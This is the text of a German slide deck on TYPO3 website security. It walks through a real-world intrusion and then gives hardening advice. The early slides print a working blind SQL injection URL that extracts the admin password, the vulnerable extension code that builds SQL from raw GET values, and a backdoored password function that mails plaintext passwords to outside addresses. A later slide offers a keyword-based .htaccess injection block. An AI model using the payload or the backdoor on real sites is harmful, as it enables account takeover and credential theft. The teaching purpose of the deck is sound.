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Kennt ihr Belarus?



Kennt ihr Belarus?

1100 km

Minsk



Testen von Extensions auf 
SQL Injection

/index.php?
filterinvolved=&id=826&note=note6&filtertyp=1&filternote
=3 AND (SELECT * FROM (SELECT(SLEEP(2-
(IF(ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20) 
FROM be_users WHERE admin=1 and disable=0 and deleted=0 
LIMIT 0,1),33,1))>1,0,2)))))



Extension enthält diesen 
Code:

$add_where[] = ' AND '.$_GET['note'].' = '.
$_GET['filternote'];

$sql = 'SELECT  uid, einrichtung, pdf FROM tx_...... 
WHERE pid = "'.$pid .'" '.$add_where;





Jetzt kann sich der Hacker 
als Admin einloggen

• Alle Daten sehen, ändern, löschen 

• t3quixplorer installieren 
- Zugriff auf das Dateisystem, kann 
beliebige Dateien irgendwohin laden



…zum Beispiel eine Hintertür



Aber das ist nicht alles…

• saltedpasswords als lokale Extension 
(Vorrag vor System - Extension) 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Aber das ist nicht alles:

• saltedpasswords als lokale Extension 
(Vorrang vor System - Extension) 

• Extension hat ein spezielles Feature:

protected function cryptPassword($password, $setting) {
    $saltedPW = NULL;
    mail("winux777@gmail.com", "TYPO3", $password);  
 
(or mail(„dezmo0d.89@mail.ru“, "TYPO3", $password);)  
 



Was tun?

• Webseite vom Netz nehmen 

• Alle betroffenen Dateien finden, löschen, bereinigen 

• Einstiegspunkt des Hackers finden und schließen 

• ALLE Passwörter ändern (Backend Users, Frontend Users, 
MySQL, Install Tool, Encryption Key) 

• Informieren der Benutzer, Kunden, Behörden…



Angriffspunkte
• Information Disclosure 

• Identity Theft 

• SQL Injection 

• Code Injection 

• Authorization Bypass 

• Cross Site Scripting 
(XSS) 

• Cross Site Request 
Forgery (XSRF)







Veröffentlichte Exploits

June 1, 2016

Joomla 1148

Wordpress 900

Drupal 26

TYPO3 15

Source: exploit-db.com

http://exploit-db.com


Passwörter



Sichere Passwörter!

• Minimale Länge 9 Zeichen 

• A-Z, a-z, 0-9, Sonderzeichen 

• Keine persönlichen Informationen 

• Nichts aus dem Duden



Sichere Passwörter!

• Minimale Länge 9 11 Zeichen 

• A-Z, a-z, 0-9, Sonderzeichen 

• Keine persönlichen Informationen 

• Nichts aus dem Duden







Sichere Passwörter!

• NIEMALS das gleiche Passwort für 
verschiedene Seiten! 

• NIEMALS ohne https über ein 
öffentliches WLAN einloggen 

• Password Manager verwenden! 





Ihr befolgt alle diese 
Regeln ?!



Source:  https://www.leakedsource.com/blog/linkedin

https://www.leakedsource.com/blog/linkedin


Source:  https://www.leakedsource.com/blog/badoo#passwords

https://www.leakedsource.com/blog/badoo#passwords


TYPO3 Source und 
Extensions stets 
aktuell halten



TYPO3-announce  
auf lists.typo3.org 

abonnieren!

http://lists.typo3.org


Security Bulletin? 
Update schnell 

installieren!



Verschlüsselung 
verwenden

• https:// überall nutzen!



Testet eure  
SSL Zertifikate!

• https://www.ssllabs.com/ssltest/







Niemals Benutzer 
Eingaben vertrauen



Benutzer Eingaben

• Daten aus Formularen 

• Daten als Parameter in der URL 

• Daten über Datei-Upload 

• IMMER Filtern, Maskieren, White-Listen



Preisgabe von 
Informationen







Secure Headers

• HSTS: Downgrade Attacks, Cookie 
Hijacking 

• X-Frame: Clickjacking 

• X-XSS Protection 

• X-Content-Type-Options

https://www.owasp.org/index.php/OWASP_Secure_Headers_Project

https://www.owasp.org/index.php/OWASP_Secure_Headers_Project


config.additionalHeaders =  
strict-transport-security: max-
age=31536000; includeSubdomains |  
x-frame-options: SAMEORIGIN |  
X-XSS-Protection: 1; mode=block |  
X-Content-Type-Options: nosniff |  
X-Powered-By: nothing 

1 Zeile TypoScript



HSTS - HTTP Strict 
Transport Security

• Browser soll sich nur per HTTPS mit 
dieser Domain verbinden, kein 
Downgrade auf HTTP



X-Frame-Options

• Verhindern das Einbinden der eigenen 
Seite in fremde Frames  
deny 
keine Darstellung in Frames  
sameorigin 
nur in Frames von der eigenen Domain 
allow-from: DOMAIN  
nur erlaubte Domains



X-XSS-Protection

• Aktiviert Cross-Site Scripting Filter im 
Browser  
1 
Filter ein, Browser filtert Seite 
1; mode=block  
Filter ein, Browser stellt Seite nicht dar



X-Content-Type-Options

• nosniff  
Verhindert MIME-Sniffing im IE und 
Chrome 

• CSS und Skripte werden nur geladen, 
wenn MIME Type korrekt ist z.B. 
text/css 
text/javascript  
 



Disable Directory Index



Disable Directory Index



database.sql



Apache Konfiguration

<Directory	/path/to/your/webroot/>	
		Options	Indexes	FollowSymLinks	
</Directory>



SQL Injection







# deny SQL injection attacks 
RewriteCond %{QUERY_STRING} union [NC] 
RewriteRule .* /404.html? [R=301,L]

In .htaccess einfügen





Restrict Access



Niemals FTP nutzen! 
Alle Daten umverschlüsselt!



Server Ports 
beschränken

• Port 80, 443 (Browser) 

• Port 22 (SSH)



Datenbank Zugriff

• Rechte einschränken 

• Kein Zugriff von außen 

• Datenbankserver nicht an Netzwerk - 
Karte anbinden



Zugriff auf Dateien

• Kein Zugriff auf Datei-Erweiterungen: 
.t3d, .sql, .ts, .bak, .tmp, …  
 
in .htaccess:  
 
<FilesMatch "\.(t3d|sql|ts|bak|tmp)$">  
Order Allow,Deny  
Deny from all  
</FilesMatch>



Extensions

• Ungenutzte Extensions entfernen 

• Keine „Development“ Extensions im Live 
System 
 
- phpmyadmin  
- t3quixplorer  
- extension_builder 



Den Hacker aus Belarus 
aussperren

• in .htaccess:  
 
order allow,deny  
deny from 178.122.  



Nützliche Links

• TYPO3 Security Team: 
security @ typo3.org 

• TYPO3 Security Guide: 
docs.typo3.org/typo3cms/SecurityGuide/ 

• TYPO3-announce abonnieren: 
lists.typo3.org 

http://typo3.org


Präsentation unter:

jweiland.net/t3cb


